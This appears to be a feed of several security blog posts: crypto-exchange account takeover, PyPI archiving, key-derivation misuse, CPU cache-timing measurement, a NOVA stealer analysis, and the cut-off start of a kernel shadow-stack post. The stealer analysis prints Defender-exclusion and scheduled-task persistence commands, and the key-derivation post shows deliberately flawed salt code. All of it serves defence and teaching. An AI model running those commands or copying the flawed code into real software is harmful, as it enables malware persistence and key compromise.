CEXes’ choices dictate how (or if) the people who use them can secure their funds. Since account security features vary between platforms and are not always documented, the user might not know what to expect nor how to configure their account best for their personal threat model. Design choices like not supporting phishing-resistant multifactor authentication (MFA) methods like U2F hardware security keys, or not tracking user events in order to push in-app “was this you?” account lockdown prompts when anomalies happen invite the attacker in.

Our white paper’s goal is to inform and enable CEXes to provide a secure-by-design platform for their users. Executives can get a high-level overview of the vulnerabilities and entities involved in user account takeover. We recommend a set of overlapping security controls that they can bring to team leads and technical product managers to check for and prioritize if not yet implemented. Security engineers and software engineers can also use our work as a reference for the risks of not integrating, maintaining, and documenting appropriate ATO mitigations.

Account takeover

When the topic of fraud involving crypto comes up, our minds might jump to the FTX collapse, blackmail scams, romance scams, or maybe to social media posts advertising “investment opportunities.” ATO is another common type of fraud that happens due to security failures, even though financial institutions like CEXes that serve US customers must protect their users’ information from (among other harms) unauthorized access.

In an ATO, the attacker obtains access to someone else’s account, then locks the rightful account owner out by changing the access credentials. In 2023, the Sift Q3 Digital Trust and Safety Index disclosed an 808% year-over-year increase in reported takeovers of financial (including crypto) accounts, and the Sift Q3 2024 index reported a further increase in ATO across all industries since 2023.

Not only has ATO become more common, not all platforms have sufficient logging and monitoring in place to be able to detect it when it occurs and alert users promptly. Fewer than half of the victims that Sift surveyed were notified that any data loss or breach had occurred. In addition to damaging user trust in the platform, if users are not quickly and appropriately notified (and steps to prevent further future abuse aren’t taken), ATO can be costly for victims. A 2016 RAND survey of consumer attitudes toward data breach notifications and loss of personal information included the grim statistic that 68% of their respondents had suffered a median financial loss of $864 if their financial information was compromised1.

Attacker tactics and opportunities

Attackers can gain initial access to user accounts through multiple vectors. In our whitepaper, we cover common weaknesses that CEX platforms must actively guard against.

For example, the user might have failed to use a strong password and a second factor. Maybe the attacker then can brute-force the user password or phish the user into giving up their credentials. But the user might, on the other hand, already leverage every available security feature the CEX provides. The platform might simply not provide appropriately implemented security controls that users need to keep their accounts and funds safe.

Suppose the platform only supports less-secure second-factor options that aren’t phishing-resistant like SMS, mobile authenticator app, or email. If the user sends their MFA codes to their email account, the attacker could then compromise the email account to secondarily gain CEX account access. Or, if SMS is set as the target CEX account’s second authentication factor, the attacker can SIM swap the user’s phone to receive their second-factor code. Or, if a CEX password reset flow is exploitable, perhaps the attacker can leverage it to bypass needing the user’s second factor at all to achieve ATO.

Avoiding terrible outcomes

CEXes (just like any other type of service with people that rely on it) need to leverage strong, intertwined technical security mechanisms, processes, and documentation to defend themselves and their users. ATO not only poses a threat to accountholders’ financial safety, but also reduces public trust in the CEX in question and in cryptocurrency more broadly. At Trail of Bits, we believe that knowledge is our most fundamental defense against threats like ATO. Our whitepaper includes the following:

  • Discussion of common ATO attack methods
  • System actors common to account takeover threat scenarios
  • Actionable steps that CEX platforms can take to enhance their systems’ security and to protect their users
  • Basic personal security guidelines that CEXes can provide to their end users

Read more in our full white paper.

Want to learn more about how to use crypto safely, or how to secure your platform or dapp? We’d love to help.

1Loss of user funds also might not be the immediate outcome. An attacker might take advantage of a security flaw in a CEX platform to exfiltrate credentials or valid session tokens to sell. Another attacker might buy datasets of credentials or identifiers on the darknet and attempt to validate them against multiple platforms, before reselling just the working entries. This could lead to some time elapsing from an initial account compromise to when attempts are actually made to buy something or to transfer funds using the stolen credentials.

Building a Cyber-Resilient Public Sector Through Hands-on Security Training

5 February 2025 at 19:49

Learn how hands-on cybersecurity training equips public sector teams to protect critical infrastructure, featuring real-world cases from Atlanta, Oldsmar, and Texas that demonstrate why practical experience trumps theoretical knowledge alone. Discover why agencies are moving beyond certifications to combat-ready security training.

The post Building a Cyber-Resilient Public Sector Through Hands-on Security Training appeared first on OffSec.

PyPI now supports archiving projects

30 January 2025 at 14:00

By Facundo Tuesca

PyPI now supports marking projects as archived. Project owners can now archive their project to let users know that the project is not expected to receive any more updates.

Project archival is a single piece in a larger supply-chain security puzzle: by exposing archival statuses, PyPI enables downstream consumers to make more informed decisions about which packages they depend on. In particular, an archived project is a clear signal that a project intends to make no future security fixes or perform ongoing maintenance.

Thanks to this signal, downstream consumers can make better-informed decisions about whether to limit or migrate away from their use of a particular package without having to resort to heuristics around project activity or maintenance status. This results in a virtuous double-effect: downstreams are better informed about the status of their supply chain, and upstreams should receive fewer distracting, superfluous requests for maintenance information from upstreams.

This work is a continuation of our ongoing efforts to bring supply-chain security improvements to PyPI, as well as Python packaging more generally. For more information about our previous efforts, check out some of our earlier writeups:

Finally, project archival is just the beginning: we’re also looking into additional maintainer-controlled project statuses, as well as additional PyPI features to improve both upstream and downstream experiences when handling project “lifecycles.” Stay tuned for additional progress on those fronts!

Why statuses matter

The ability to mark the status of projects on PyPI has been a long-standing feature request. This is for projects that are abandoned, unmaintained, feature-complete, deprecated, etc., where the maintainer wants to correctly set expectations for users of the package about expected future updates and even endorsement of use.

An interesting problem that comes up then is: which statuses should be supported, and what are their semantics? Ideally, a project should have a single “main” status, but some of these statuses overlap semantically (like “abandoned” and “unmaintained”), while others are not mutually exclusive (a project can be both feature-complete and unmaintained).

There is an open discussion on PyPI’s issue tracker about what statuses should be added or not. As a first step, there was agreement that “archived” is useful and has clear enough semantics to be the first status added.

Archiving a project

Owners of a project can archive it by navigating to the project’s settings page and scrolling down near the end to the following section:

Figure 1: Archiving a project

This lets the owner know the semantics (no further updates expected), and recommends a way to give users more context via a final release.

After archiving the project, users will see the following notice in the project’s main PyPI page:

Figure 2: Project has been archived

Finally, the project owners can always unarchive a project if needed.

Importantly: project archival is not the same thing as yanking or outright deletion. An archived project is never deleted and, unlike projects that are yanked, can still be resolved by default. PyPI will also never delete or prune projects based on their archival status: archiving is intended solely to empower project maintainers to communicate their project’s status to downstream consumers.

Under the hood

Behind the scenes, maintainer-controlled project statuses are a specialization of a larger feature also recently added to PyPI: project quarantine. Thanks to the LifecycleStatus model and state machine developed for the quarantine feature, we were able to rapidly extend PyPI’s project statuses to include a new “archived” state. We expect future state additions to be similarly easy!

More information about project quarantine can be found on the PyPI blog.

Where do we go from here?

Project archivals are currently recorded and presented on PyPI’s web interface. This is great for humans making decisions about whether to use (or discontinue use of) a package, but doesn’t immediately help installers (like pip and uv) alert developers when their dependencies become archived.

In other words: this feature will help users but it doesn’t yet help the machine-readable case. That’s something we’re working on!

The “archived” state is also not the end-all, be-all of packaging statuses: as mentioned above, there are numerous other states (“deprecated,” “feature-complete,” etc.) that project maintainers want to express in a consistent fashion. Now that we have a blueprint for doing that with the “archived” state, we’ll be looking into those as well.

Acknowledgements

We would like to thank the PyPI administrators and maintainers for reviewing our work and offering us invaluable feedback throughout development. In particular, we thank Mike Fiedler (as PyPI’s Safety and Security Engineer) and Dustin Ingram (as one of PyPI’s maintainer-administrators) for their time and consideration.

Our development on this feature is part of our ongoing work on PyPI and Python packaging, as funded by Alpha-Omega. Alpha-Omega’s mission is to protect society by catalyzing sustainable security improvements to the most critical open-source software projects and ecosystems.

Best practices for key derivation

28 January 2025 at 14:00

By Marc Ilunga

Key derivation is essential in many cryptographic applications, including key exchange, key management, secure communications, and building robust cryptographic primitives. But it’s also easy to get wrong: although standard tools exist for different key derivation needs, our audits often uncover improper uses of these tools that could compromise key security. Flickr’s API signature forgery vulnerability is a famous example of misusing a hash function during key derivation.

These misuses indicate potential misunderstandings about key derivation functions (KDFs). This post covers best practices for using KDFs, including specialized scenarios that require careful treatment of key derivation to achieve the desired security properties. Along the way, we offer advice for answering common questions, like:

  • Do I need to add extra randomness to HKDF?
  • Should I use salt with HKDF?
  • Should I use different salts to derive multiple keys from HKDF?
  • How do I combine multiple sources of keying material?

Before diving into key derivation best practices, we’ll recap some important concepts to help us better understand them.

Sources of keying material

Keyed cryptographic primitives, such as AEADs, require keying material that satisfies certain requirements to guarantee security. In most cases, primitives require that the key is generated uniformly at random or cryptographically close to uniform random. We will distinguish four types of keying material:

  • (Uniform) random, such as 32 bytes generated with the OS CSPRNG
  • Non-uniform but high entropy, such as the output of key exchange
  • Low-entropy, such as passwords and other easily guessable values
  • Sets of several sources, such as pre- and post-quantum shared secrets

Figure 1: A diverse collection of keys (generated with AI)

The last category above is particularly relevant to the current development of quantum-resistant cryptography. Hybrid key exchange protocols combining classical and post-quantum key exchanges are designed to protect against Store Now Decrypt Later attacks.

How key derivation works

Key derivation is the process of generating acceptable keying material for cryptographic usage from some initial keying material (IKM). From a cryptographic perspective, “acceptable” usually means chosen uniformly at random from the set of all possible keys or indistinguishable from a truly random key. There are two main key derivation tasks related to the nature of the initial keying material.

  • Randomness extraction extracts a cryptographic key from an IKM with “enough randomness.” Randomness extraction optionally uses a salt. Naturally, we can apply randomness extraction to a key that is already cryptographically appropriate.
  • Randomness expansion derives subkeys from a cryptographic key. Expansion generally uses a “context” or “info” input unique to each subkey.

This categorization is heavily influenced by the widely used KDF algorithm HKDF; other KDF designs do not necessarily follow the same principles. However, extraction and expansion are well reflected in most KDF applications. Additionally, we will consider an additional KDF task related to complex sources of keying material, such as a set of sources.

Extraction and expansion: a brief look into HKDF

Tip: if you prefer a visual demonstration of HKDF, refer to the animations below.

HKDF was designed to provide both extraction and expansion. HKDF is commonly accessible to applications with an API, such as HKDF(ikm, salt, info, key_len). However, under the hood, the following happens: first, an extraction process generates a pseudo-random key (PRK) from the IKM and salt prk = HKDF.Extract(ikm, salt) = HMAC(salt, ikm). Then, a subkey of length key_len is generated: sub_key = feedback[HMAC](prk, info). Here, feedback[HMAC] is a wrapper around HMAC that generates output as long as desired by repeatedly calling HMAC; in other words, it implements a variable-length pseudorandom function. For a given key, feedback will return a random bit string of the required length for every new info input; a fixed info value will always produce the same output. If info is kept constant but the length is variable, the smaller output will be a prefix of the longer output.

Figure 2: Visualizing the extraction and expansion phases of a KDF

Regarding the extraction salt: the extraction stage of HKDF optionally takes a salt. The extraction salt is a random, non-secret value used to extract sufficient randomness from the keying material. Crucially, the salt cannot be attacker-controlled, since that could lead to catastrophic outcomes for KDFs in general. Hugo Krawczyk provides a theoretical example of attacker-controlled salts breaking the independence between the salt and the IKM, leading to weak extractor construction. However, the consequences can also have practical relevance, as we discuss in the next section. A typical pain point for many applications (except, e.g., authenticated key exchange) is authenticating salts. Therefore, the HKDF standard recommends that most applications use a constant, such as an all-zero-byte string. The price to be paid for not using a salt is making somewhat stronger, albeit still reasonable, assumptions on HMAC.

Addressing KDF misuses

Developers must consider several questions when choosing a KDF, but a misunderstanding of KDFs may lead to choices that introduce security issues. Below, we provide examples of misuse along with best practices to help avoid improper use of KDF.

Should I use different salts to derive multiple subkeys?

With the aforementioned KDF abstraction, subkey generation is better suited to randomness expansion. Given a pseudo-random key (perhaps obtained after an extraction step), subkeys can be obtained with randomness expansion using unique info inputs for each subkey. The salt is used for extraction. Furthermore, as discussed above, attacker-controlled salts can be detrimental to security. Consider a key management application that generates user keys on demand. One implementation might decide to derive a key from a master key using the username as salt. Besides freely choosing their usernames, users may provide a context string (e.g., “file-encryption-key”) that indicates the purpose of the key and ensure that different applications use independent keys. The core functionality is shown in the code snippet below:

# For each subkey
def generate_user_key(username, purpose, key_len):
    ikm = fetch_master_key_from_kms()
sub_key = hkdf(ikm=ikm, salt=username, info=purpose, key_len=key_len) 

Figure 3: Key management application using a master key to derive keys on demand

This construction is bad: since the salt is used as an HMAC “key” for extraction, it is first preprocessed by a PAD-or-HASH scheme (key padding, key hashing) to handle variable-length keys. In this implementation, if your username is b”A”*65, and I choose my username to be sha256(b”A”*65), then I will get all your keys!

So what should we do instead? The first thing to avoid is potentially attacker-controlled salts. In the example above, the application could generate a random salt on initialization and retrieve it from a trusted place as needed. Alternatively, the application may also use a constant salt like an all-zero byte string, as RFC 5869 recommends. Notably, for HMAC, if ikm was already a uniform random key, using a constant does not require stronger assumptions. Finally, the issue can also be avoided if the IKM is initially a random key and usernames are restricted to a set of values described in our discussion of dual PRFs.

What should I use as an info value?

The application must ensure that unique info values are used for each new subkey. It is also a good practice to include as much context information as possible in the info value, such as session identifiers or transcript hashes. The encoding of the context into info must be injective, for instance, by paying attention to canonicalization issues.

Do I need extra randomness in the info parameter HKDF?

We often encounter implementations that include extra randomness in the info parameter to generate subkeys. The hope is to make HKDF somewhat more random.

# For each subkey
extra_randomness = random(32)
sub_key = hkdf(ikm=ikm, salt=salt, info=concat(info, extra_randomness), key_len=key_len) 

Figure 4: Using additional randomness to derive subkeys

Although this does not hurt, it also does not help much with the initial task of randomness extraction. Note that the extra randomness affects only randomness expansion. Consider the following thought experiment: if the IKM doesn’t have enough entropy or HMAC turns out to be a very bad randomness extractor, the extra randomness will not help create a suitable key to be used during randomness expansion. A far-from-random key for randomness expansion deviates from the security requirements and, therefore, offers no security guarantees. From the above discussion, assuming that HKDF is secure, if ikm has enough randomness, we will extract a random key for it. Then, the expansion will ensure that the sub_key is indistinguishable from a random key of the same length. Furthermore, HKDF does not require the info material to be secret; it only needs to be unique for each subkey.

However, an application may use extra randomness to further guarantee the uniqueness of the info inputs. Unless you do something funny with that extra randomness, you won’t be worse off using it.

Should I use HKDF on a low-entropy input?

No. HKDF consists of only a couple of HMAC calls. Password crackers can fairly efficiently crack massive amounts of passwords for KDFs that aren’t purposefully designed to be slow and memory-intensive. It is best to use slow, memory-hard algorithms like Argon2 for hashing and deriving keys from passwords. Furthermore, it is best to avoid using password hashes as keys to encrypt data. Prefer creating key hierarchies (such as key encryption keys), using the password hash to encrypt a randomly generated key from which further keys can be derived as needed.

Should I use a hash function as a general-purpose KDF?

A hash function should not be used for general purposes in KDF. In scenarios where the information used during key derivation is attacker-controlled, using a hash function as KDF can expose the application to length-extension attacks. These attacks are a major concern for applications that generate randomness from a secret combined with user-provided data (like in Flickr’s API signature forgery vulnerability). Instead, prefer HKDF and other KDFs that were designed specifically for key derivation. Although hashing is acceptable as a KDF in specific cases, we caution against this practice unless the user can reasonably argue formally about the usage of their application. If your application genuinely suffers from one or two extra compression function calls, consult an expert if you do not have a strong justification for using existing KDFs. This advice is also valid for other ad-hoc constructions, such as the YOLO constructions.

Should I use a shared Diffie-Hellman secret key to an AEAD?

The security contract for an AEAD (and most other keyed symmetric algorithms) requires a uniform random bitstring of the appropriate length to provide meaningful security guarantees. DH outputs are high entropy but generally not uniform bitstrings. Therefore, using them as keys deviates from the security contract. Some implementations may allow unsuspecting users to use the wrong key material for a given primitive (e.g., feed a DH output into a Chacha20 cipher). Such usage violates the requirements of the AEAD construction.

Combining keys

A common task in cryptography is combining two instantiations of a primitive so the overall construction is as strong as the strongest. Naturally, this is a highly relevant question for key derivation: can we derive a secret from a set of key materials so the overall secret is secure as long as one of the key materials is secure? Hybrid key exchange protocols are currently relevant use cases of this technique. These protocols combine keys established via both a classical and a post-quantum key exchange primitive to protect against attackers who are harvesting encrypted communications today and hope to decrypt them once a capable quantum computer is available. Such protocols include PQXDH, Apple’s PQ3, and post-quantum Noise. However, key combining is widely used in other contexts unrelated to quantum threats, such as TLS1.3 with preshared keys, the double ratchet algorithm, and MLS.

So, how do we combine secrets? For simplicity, we restrict the following discussion to two secrets, k_1 and k_2. The classical tool for the job is a dual PRF. Like a PRF, a dual PRF takes a key and an input and behaves like a PRF so long as one of the keys or the input contains a uniform secret key. In a dual PRF, you can switch the key and input values without affecting security. In practice, the most common instantiation of a dual PRF is HMAC.

However, using HMAC as a dual PRF requires some caution. The standardized HMAC allows keys of variable lengths, which are processed via a PAD-or-HASH function. PAD-or-HASH is not collision-resistant, and creating HMAC output collisions for unrestricted HMAC keys is trivial. Fortunately, this paper establishes the dual PRF security of HMAC and fully characterizes the set keys for which dual PRF security is expected. In short, a safe dual PRF usage of HMAC requires that the key argument (i.e., what is passed as key to HMAC) is a fixed length bitstring (i.e., all keys must have the same length) or a variable length bitstring as long as all keys have length at least the block length of the underlying hash function.

The dual PRF results apply only when combining two uniform random bitstrings. Although several works argue for using HMAC as a dual PRF with other high-entropy inputs like a Diffie-Hellman shared secret (G^xy), a more conservative usage would apply an initial extraction step to every keying material that requires it. An example of this is prk = HMAC( HKDF.Extract(G^xy, salt), random_kem_secret). Although some analyses do away with the initial extraction step, these uses deviate from the existing security analysis of HMAC and do not directly enjoy the security guarantees.

Another good practice for dual PRF usage is to ensure that the final combined secret depends on as much of the context as possible. The context here can be the Diffie-Hellman shares, the (hash of the) full communication transcript. A good solution is to use an additional expansion step that uses the context as the info input during expansion.

Finally, other combination approaches exist, such as concatenation KDF (CatKDF). CatKDF roughly uses a KDF on the concatenation of secrets. In scenarios where one of the secrets is possibly attacker-controlled, the security of CatKDF falls outside of the existing security analysis. The remarks above do not imply practical attacks but raise awareness around cases where stronger assumptions beyond what is known are sometimes needed. For further discussion on dual PRF usage in practice, see Practical (Post-Quantum) Key Combiners from One-Wayness and Applications to TLS.

Choose the right tool

This blog post examined different KDF tasks, appropriate tools to perform them, and some typical misuses we see in practice. To conclude, we invite you to do the same as you tackle your next KDF task. The invitation is the following: as you face your next KDF tasks, take a step back and consider the higher-level goals and whether a higher-level tool would be better suited.

For example, do you need a KDF because you have established some Diffie-Hellman shared secret and must create a “secure channel”? Consider using an existing battle-tested authenticated key exchange protocol like Noise, TLS 1.3, or EDHOC.

Do you need a KDF to encrypt various chunks of a data stream while expecting some security guarantees for chunks and the overall stream? Consider using a streaming AEAD instead!

Naturally, there comes a time when a novel solution is needed; in that case, ensure that you have a reasonable justification for your proposed solution, then talk to your favorite cryptographer (or come to us)!

Linux hacking part 4: Measuring cache hit and cache miss times in linux.

1 February 2025 at 00:00

Hello, cybersecurity enthusiasts and white hackers!

malware

I continue my series of posts about Linux hacking and linux malware. This is a short but interesting post about one important concept that will be demonstrated in this and the next posts in this series.

a few words about levels of cache memory

A Central Processing Unit (CPU) may have several levels of cache memory to store frequently accessed data and instructions. The cache memory is organized into three levels:

L1 cache: quickest yet smallest data and instructions.
L2 cache: slower but larger, data-only.
L3 cache - slowest but largest, data-only.

The lscpu command provides detailed information about CPU architecture, features, and cache size. lscpu shows the L1 cache, L2 cache, and L3 cache sizes, which are crucial to processor performance and caching:

lscpu

malware

malware

As you can see, the output provides information about the size of the L1, L2, and L3 cache, CPU architecture, and total CPUs.

cache hit and cache miss

Understanding how the CPU cache works is crucial for performance optimization in systems programming, reverse engineering, and security research. The difference between a cache hit and a cache miss can impact the speed of execution significantly. In this blog post, we’ll explore a simple C program that measures the time taken to access cached and non-cached memory locations.

This technique is often used in security research, particularly in side-channel attacks where attackers measure access times to infer sensitive data. However, here we focus on educational and performance optimization purposes.

practical example

Before diving into the code, let’s understand what we’re trying to measure:
Cache Hit - When data is already present in the CPU cache, access is very fast.
Cache Miss - When data needs to be fetched from RAM, which takes significantly longer.

In our example, we’ll:

  1. Access a memory location that is already in the cache and measure the access time.
  2. Flush the cache to ensure that a different memory location is not cached.
  3. Access the new memory location and measure the time taken.

This comparison will help us see the difference between cache hits and cache misses in real-time.

First of all, include necessary headers:

#include <stdio.h>
#include <stdint.h>
#include <x86intrin.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

These headers provide functions for input/output, integer types, intrinsic functions for CPU instructions, memory management, and basic system utilities.

Then define a large array for testing:

#define ARRAY_SIZE (1024 * 1024)  // 1 MB array
uint8_t array[ARRAY_SIZE];

We define a 1MB array to work with, ensuring we can access different parts and observe cache behavior.

At the next step, let’s measure memory access time:

uint64_t measure_access_time(volatile uint8_t *address) {
  uint64_t start, end;
  unsigned int aux;  // auxiliary variable for __rdtscp
  
  _mm_mfence();  // memory fence to prevent instruction reordering
  start = __rdtscp(&aux);  // start timing
  (void)*address;      // access memory
  _mm_mfence();  // memory fence to prevent instruction reordering
  end = __rdtscp(&aux);  // end timing

  return end - start;
}

This function measures the time taken to access a specific memory address using __rdtscp, an x86 instruction that reads the processor’s timestamp counter.

_mm_mfence() - ensures that the memory operations are executed in order.
__rdtscp(&aux) - reads the timestamp before and after the memory access.

The difference between end and start gives the cycle count taken for memory access.

Then, simulate a cache flush:

void flush_cache() {
  // flush the cache by accessing a large amount of data
  uint8_t *dummy = (uint8_t *)malloc(ARRAY_SIZE);
  for (int i = 0; i < ARRAY_SIZE; i++) {
    dummy[i] = i;
  }
  free(dummy);
}

Why we need this? Since CPU caches automatically manage which data stays in cache, we force a cache flush by allocating and filling a large dummy array. This ensures that previously cached data is evicted.

Finally, we need main execution logic:

int main() {
  uint64_t cached_time, uncached_time;

  // access a cached memory location
  volatile uint8_t *cached_addr = &array[0];
  *cached_addr = 42;  // load into cache
  cached_time = measure_access_time(cached_addr);
  
  // flush the cache and access a different memory location
  flush_cache();
  volatile uint8_t *uncached_addr = &array[ARRAY_SIZE/2];  
  uncached_time = measure_access_time(uncached_addr);

  printf("cache hit time: %lu cycles\n", cached_time);
  printf("cache miss time: %lu cycles\n", uncached_time);

  return 0;
}

What is going on here?

  1. we first access an element (array[0]) to ensure it is loaded into the cache.
  2. we measure and store the access time as cached_time.
  3. we then flush the cache using flush_cache().
  4. after cache flushing, we access a different memory location (array[ARRAY_SIZE/2]).
  5. we measure the time taken to access the uncached memory and store it as uncached_time.
  6. finally, we print both values.

So the full source code of this example is looks like this (hack.c):

/*
 * hack.c
 * measuring cache hit and cache miss times
 * author @cocomelonc
 * https://cocomelonc.github.io/linux/2025/02/01/linux-hacking-4.html
 */
#include <stdio.h>
#include <stdint.h>
#include <x86intrin.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define ARRAY_SIZE (1024 * 1024)  // 1 MB array

uint8_t array[ARRAY_SIZE];

uint64_t measure_access_time(volatile uint8_t *address) {
  uint64_t start, end;
  unsigned int aux;  // auxiliary variable for __rdtscp
  
  _mm_mfence();  // memory fence to prevent instruction reordering
  start = __rdtscp(&aux);  // start timing
  (void)*address;      // access memory
  _mm_mfence();  // memory fence to prevent instruction reordering
  end = __rdtscp(&aux);  // end timing

  return end - start;
}

void flush_cache() {
  // flush the cache by accessing a large amount of data
  uint8_t *dummy = (uint8_t *)malloc(ARRAY_SIZE);
  for (int i = 0; i < ARRAY_SIZE; i++) {
    dummy[i] = i;
  }
  free(dummy);
}

int main() {
  uint64_t cached_time, uncached_time;

  // access an element that is already in the cache (CACHE HIT)
  volatile uint8_t *cached_addr = &array[0];
  *cached_addr = 42;  // load into cache
  cached_time = measure_access_time(cached_addr);
  
  // flush the cache and access a different element (CACHE MISS)
  flush_cache();
  volatile uint8_t *uncached_addr = &array[ARRAY_SIZE/2];  
  uncached_time = measure_access_time(uncached_addr);

  printf("cache hit time: %lu cycles\n", cached_time);
  printf("cache miss time: %lu cycles\n", uncached_time);

  return 0;
}

demo

Let’s see everything in action. Compile it:

gcc -o hack hack.c

malware

When you run the program:

./hack

you should see something like this:

malware

malware

or this:

malware

The actual values may vary based on your CPU, cache size, and system state. However, cache misses should always take significantly longer than cache hits.

This technique is particularly used in side-channel attacks where timing differences can reveal sensitive information.

If you’re interested in learning more about low-level performance analysis and side-channel attacks stay tuned for future posts!

I hope this post with practical example is useful for malware researchers, linux programmers and everyone who interested on linux kernel programming and attacking techniques.

Linux malware development 1: intro to kernel hacking. Simple C example
Linux malware development 2: find process ID by name. Simple C example
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

NOVA: blast from the past

4 February 2025 at 10:55

Attackers use a fork of a popular stealer to target Russian companies

The BI.ZONE Threat Intelligence team continues to record a large‑scale campaign targeting Russian organizations across various industries. The adversaries employ NOVA stealer, a new commercial fork of SnakeLogger, with subscriptions starting at $50. They distribute phishing emails with the malware disguised as a contract archive.

Key findings

  • Threat actors actively leverage malware as a service (MaaS) marketed on underground resources, enabling them to save resources and focus on its spread.
  • Attackers increase their chances of success by using popular file names for malicious archives and targeting employees in organizations that handle high volumes of emails.
  • Stealers remain a major cybersecurity threat: authentication data harvested through such malware can be leveraged in the future, for instance, in targeted ransomware attacks.

Campaign

As part of this campaign, the adversaries distribute NOVA via archive attachments to phishing emails, disguising them as contracts (e.g., Договор.exe). It is noteworthy that the attackers do not use double file extensions or fake icons to make the malicious file appear as a legitimate document.

Once executed, the malicious file decodes data steganographically concealed in zabawa2, replicates itself under a different name in the AppData\Roaming directory, and runs PowerShell to add itself to the Microsoft Defender exclusions list:

Add-MpPreference -ExclusionPath "C:\Users\%USERNAME%\AppData\Roaming\%FILENAME%.exe"

It gains persistence to the compromised system by exploiting the Windows Task Scheduler:

schtasks.exe" /Create /TN "Updates\wZhPqlmXA" /XML "C:\Users\%USERNAME%\AppData\Local\Temp\tmp46B8.tmp"

Finally, the malicious file executes itself in a suspended state and injects the decoded payload into a spawned child process.

The API call sequence is as follows: CreateProcessInternalA (suspended) → VirtualAllocEx → WriteProcessMemory → SetThreadContext → ResumeThread.

Curiously enough, the malicious file includes strings in Polish.

Strings in the file code

The malicious payload injected is the NOVA stealer, a fork of the popular SnakeLogger stealer.

To get the IP and country details of a compromised system, NOVA queries web resources such as checkip[.]dyndns[.]org or reallyfreegeoip[.]org.

The malware steals saved credentials from various sources, captures keystrokes, takes screenshots, and extracts clipboard data.

Retrieving saved credentials from Mozilla Firefox
Keystroke logging
Taking screenshots

In this particular case, the retrieved data is exfiltrated via SMTP.

Retrieved data exfiltration configuration

This sample may also have the following capabilities:

  • disable Microsoft Defender and Task Manager
  • disable the Registry Editor
  • disable CMD

The stealer contains functions with respective names but lacks the code required to execute them.

Stealer code functions

Additionally, we detected a function that constrains malware execution until a particular date.

Function that constrains malware execution until a particular date

NOVA is marketed under the MaaS model, making it accessible to a wide range of attackers.

In August 2024, the NOVA Telegram group was created to promote and sell the stealer, as well as to provide tech support.

Apart from the stealer, the developer offers a cryptor, with the stealer price ranging from $50 for a 30‑day license up to $630 for a lifetime license, and the cryptor price, from $60 for a 30‑day license to $150 for a 90‑day license.

Indicators of compromise

  • 831582068560462536daaeef1eff8353
  • 15de4683cf8bed4d31660bdd69dca14ec4b71353
  • 8004a9c84332b68b0a613a5de9dcf639e415feb14b3da926e164375f3c5a3609

MITRE ATT&CK

Detection

The BI.ZONE EDR rules below can help organizations detect the described malicious activity:

  • win_new_windows_defender_exception_was_added
  • win_using_schtasks_to_create_suspicious_task
  • win_access_to_ip_detection_service
  • win_possible_browser_stealer_activity

How to protect your company from such threats

To ensure proactive protection, you need to stay ahead of threat actors by monitoring compromised corporate accounts on underground resources. The BI.ZONE Threat Intelligence portal can be a valuable solution in this regard, offering, among other things, information about data leaks. The portal allows you to look for compromised accounts by a specific email address, an email domain (including all its subdomains), or by a particular URL.

Exploit Development: Investigating Kernel Mode Shadow Stacks on Windows

3 February 2025 at 00:00

Introduction

A little while ago I presented a talk at SANS HackFest 2024 in California. My talk provided a brief “blurb”, if you will, about a few of the hypervisor-provided security features on Windows - specifically surrounding the mitigations instrumented through Virtualization-Based Security (VBS). Additionally, about one year ago I noticed that “Kernel-mode Hardware-enforced Stack Protection” was a feature available in the UI of the Windows Security Center (before this, enabling this feature had to be done through an undocumented registry key). This UI toggle is actually a user-friendly name for the Intel CET Shadow-Stack feature for kernel-mode stacks.

Intel CET technically refers to multiple features, including both Indirect Branch Tracking (IBT) and Shadow-Stack. Windows does not implement IBT (and instead leverages the existing Control Flow Guard feature). Because of this, any references to Intel CET in this blog post really refer specifically to the shadow stack feature.

Since this feature can finally be enabled in a documented manner (plus the fact that there was not a whole lot of information online as to how Windows actually implements kernel-mode CET) I thought it would be worth including in my talk at SANS HackFest.

At the time when I was preparing my slides for my presentation I didn’t get to spend a lot of time (due to the scope of the talk which included multiple mitigations plus a bit about hypervisor internals) on all of the nitty-gritty details of the feature. Most of this came down to the fact that this would require some reverse engineering of the Secure Kernel. To-date, doing dynamic analysis in the Secure Kernel is not only undocumented and unsupported but it is also fairly difficult (at least to a guy like me it is!).

However, as Divine Providence would have it, right after my talk my friend Alan Sguigna sent me a copy of the SourcePoint debugger - which is capable of debugging the Secure Kernel (and much more!) Given that KCET (kernel-mode Intel CET) was already top-of-mind for me, as I had just given a talk which included it, I thought it would be a good opportunity to blog about something I love - exploit mitigations and Windows internals! This blog post will be divided into two main parts:

  1. “The NT (ntoskrnl.exe) perspective” (e.g., examining how NT kicks-off the creation of a kernel-mode shadow stack)
  2. “The Secure Kernel perspective” (e.g., we then will showcase how (and why) NT relies on the Secure Kernel to properly facilitate kernel-mode shadow stacks by actively debugging the Secure Kernel with SourcePoint!)

The “internals” in this blog post will not surround those things which my good friends Alex and Yarden blogged about here (such as showcasing additions to the instruction set, changes in CPU specs, etc.). What I hope to touch on in this blog post is (to the best of my abilities, I hope!) the details surrounding the Windows-specific implementation of Intel CET in kernel-mode, changes made in order to support shadow stacks, my reverse engineering process, nuances surrounding different situations in the stack creation code paths, and (what I think is most interesting) how NT relies on Secure Kernel in order to maintain the integrity of kernel-mode shadow stacks.

I (although I know I am not worthy of it) am asked from time to time my methodology in regards to reverse engineering. I thought this would be a good opportunity to showcase some of this for the 1-2 people who actually care! As always - I am not an expert and I am just talking about things I find interesting related to exploitation and Windows internals. Any comments, corrections, and suggestions are always welcome :). Let’s begin!

tl;dr CET, Threads, and Stacks

To spend only a brief moment on the main subject of this blog post - Intel CET contains a feature known as the Shadow-Stack. This feature is responsible for mitigating ROP-based attacks. ROP allows an attacker (which has control of a stack associated with a thread which is/will executing/execute) to forge a series of return addresses which were not originally found during the course of execution. Since a ret will load the stack pointer into the instruction pointer, and given an attacker can control the contents of the stack - this allows an attacker to therefore control the contents of the instruction pointer by re-using existing code found within an application (our series of forged return addresses found within the .text section or other location of executable code). The reason why attackers commonly use ROP is because memory corruption (generally speaking) results in the corruption of memory. Corrupting memory infers you can write to said memory - but with the advent of Data Execution Prevention (DEP) and Arbitrary Code Guard (ACG), regions of memory which are writable (like the stack) are not executable. This means attackers need to re-use existing code found within an application instead of directly writing their own shellcode like the “old” days. The Shadow-Stack feature works by maintaining a protected “shadow stack” which contains an immutable copy of what the stack should look like based on normal 